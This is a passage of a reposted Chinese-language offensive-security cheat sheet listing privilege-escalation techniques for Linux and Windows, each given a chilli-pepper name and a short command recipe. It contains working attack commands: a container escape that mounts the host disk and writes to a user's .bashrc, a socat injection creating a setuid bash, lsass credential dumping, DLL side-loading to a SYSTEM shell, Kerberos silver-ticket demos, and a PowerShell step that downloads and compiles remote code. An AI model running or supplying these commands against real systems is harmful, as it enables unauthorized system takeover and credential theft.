- `mknod /dev/sdb1 block 8 17`
- `mkdir /mnt/host_home`
- `mount /dev/sdb1 /mnt/host_home`
- `echo 'echo "Hello from container land!" 2>&1' >> /mnt/host_home/eric_chiang_m/.bashrc`

Unix Wildcard

域：No

Local Admin: Yes

操作系统：Linux

类型：Injection

方法：

- `python wildpwn.py –file /tmp/very_secret_file combined ./pwn_me/`

Socket Command Injection

域：No

Local Admin: Yes

操作系统：Linux

类型：Injection

方法：

- `echo “cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;” | socat – UNIX-CLIENT:/tmp/socket_test.s`

Logstash

域：No

Local Admin: Yes

操作系统：Linux

类型：Injection

方法：

- `/etc/logstash/logstash.yml`

```
input {
exec {

        command => “whoami”

        interval => 120

        }

    }
```

UsoDllLoader

域：No

Local Admin: Yes

操作系统：Linux

类型：Injection

方法：

- `UsoDllLoader.exe`

批注：https://github.com/itm4n/UsoDllLoader/releases/tag/1.0-20190824

Trend Chain Methods for Privilege Escalation

Habanero Chilli

域：No

Local Admin: Yes

操作系统：Windows

类型：Dll Side-loading

方法：

- `rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump`

Padron Chilli

域：Y/N

Local Admin: Yes

操作系统：Windows

类型：Create a Reflective DLL Injector + Reflective DLL for dump lsass memory without touch hard disk

方法：

- `#.\inject.x64.exe <Path to reflective dll: .\LsassDumpReflectiveDLL.dll>`

Jalapeno Chillies

域：Yes

Local Admin: Yes

操作系统：Windows

方法：unhook NTDLL.dll + dump the lsass.exe as WindowsUpdateProvider.pod

方法：

- `NihilistGuy.exe`

批注：https://github.com/analyticsearch/NihilistGuy

Pasilla Chili

域：Yes

Local Admin: Yes

操作系统：Windows

方法：SeImpersonatePrivilege + Abusing Service Account Session

方法：

- `https://github.com/tyranid/blackhat-usa-2022-demos`
- `Demo5.ps1`

Finger Chilli

域：No

Local Admin: Yes

操作系统：Windows

类型：Abusing PrintNotify Service + DLL side-loading

方法：

- `以管理员身份，将winspool.drv和mod-ms-win-core-apiquery-l1-1-0.dll复制到C:\Windows\System32\spool\drivers\x64\3\`
- `将 /bin/ 中包含的所有文件放入同一目录中。`
- `然后，运行 powershell .\spooltrigger.ps1。`
- 享受 NT AUTHORITY\SYSTEM 的 shell。

Orange Cayenne

域：Yes

Local Admin: Yes

操作系统：Windows

类型：Silver Ticket + I Know

方法：

- `https://github.com/tyranid/blackhat-usa-2022-demos`
- `Demo1.ps1`

Red Cayenne

域：Yes

Local Admin: Yes

操作系统：Windows

类型：Silver ticket + User to User Authentication

方法：

- https://github.com/tyranid/blackhat-usa-2022-demos
- demo2.ps1

Birds Eye Chilli

域：Yes

Local Admin: Yes

操作系统：Windows

类型：Silver Ticket + Buffer Type Confusion

方法：

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo3.ps1

Scotch Bonnet

域：Yes

Local Admin: Yes

操作系统：Windows

类型：Bring Your Own KDC

方法：

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo4.ps1

Lemon Habanero

域：No

Local Admin: Yes

操作系统：Linux

类型：Capabilities

方法：

- gcc -Wl,–no-as-needed -lcap-ng -o ambient ambient.c
- sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
- ./ambient /bin/bash

批注：https://github.com/bsauce/kernel_exploit_series/tree/master/2-arbitrary_rw

Red Habanero

域：No

Local Admin: Yes

操作系统：Windows

类型：NtSetInformationProcess + DLL side-loading

方法：

- `BypassRtlSetProcessIsCritical.exe pid`

批注：没找到这个东西

Ghost Pepper

域：No

Local Admin: Yes

操作系统：Windows

类型： **allow low privileged user accounts to create file system and registry symbolic links**

方法：

```
PS C:\> $code = (iwr
https://raw.githubusercontent.com/usdAG/SharpLink/main/SharpLink.cs).content
PS C:\> Add-Type $code
PS C:\> $s = New-Object de.usd.SharpLink.Symlink("C:\Users\Public\Example\link",
"C:\ProgramData\target.txt")
PS C:\> $s.Open()
PS C:\> echo "Hello World :D" > C:\Users\Public\Example\link
PS C:\> type C:\ProgramData\target.txt
Hello World 😀
PS C:\> $s.Close()
```

Chocolate Scorpion Chilli

域：No

Local Admin: Yes

操作系统：Windows

类型：Directory-Deletion + Windows Media Player d/s

方法：

- https://github.com/sailay1996/delete2SYSTEM
- .\poc.ps1

Carolina Reaper

域：Yes

Local Admin: Yes

操作系统：Windows

类型：Creates an arbitrary service + PTH

方法：

- https://github.com/tyranid/blackhat-usa-2022-demos
- Demo6.ps1

The Intimidator Chilli

域：No

Local Admin: Yes

操作系统：Windows

类型：manipulate memory/process token values/NT system calls and objects/NT object manager

方法：

- https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools
- Import-Module NtObjectManager
- Get-ChildItem NtObject:\
- NT*

后记

原文地址：

https://hadess.io/74-methods-for-privilege-escalationpart-2/

https://hadess.io/43-methods-for-privilege-escalation-part-3/

转载于公众号：深夜笔记本

公众号

喜欢此内容的人还喜欢

渗透 | FoFa 查询工具

菜鸟学信安

汇总抓包姿势

菜鸟学信安

一款更易上手的GUI版xray漏扫工具（附下载）

菜鸟学信安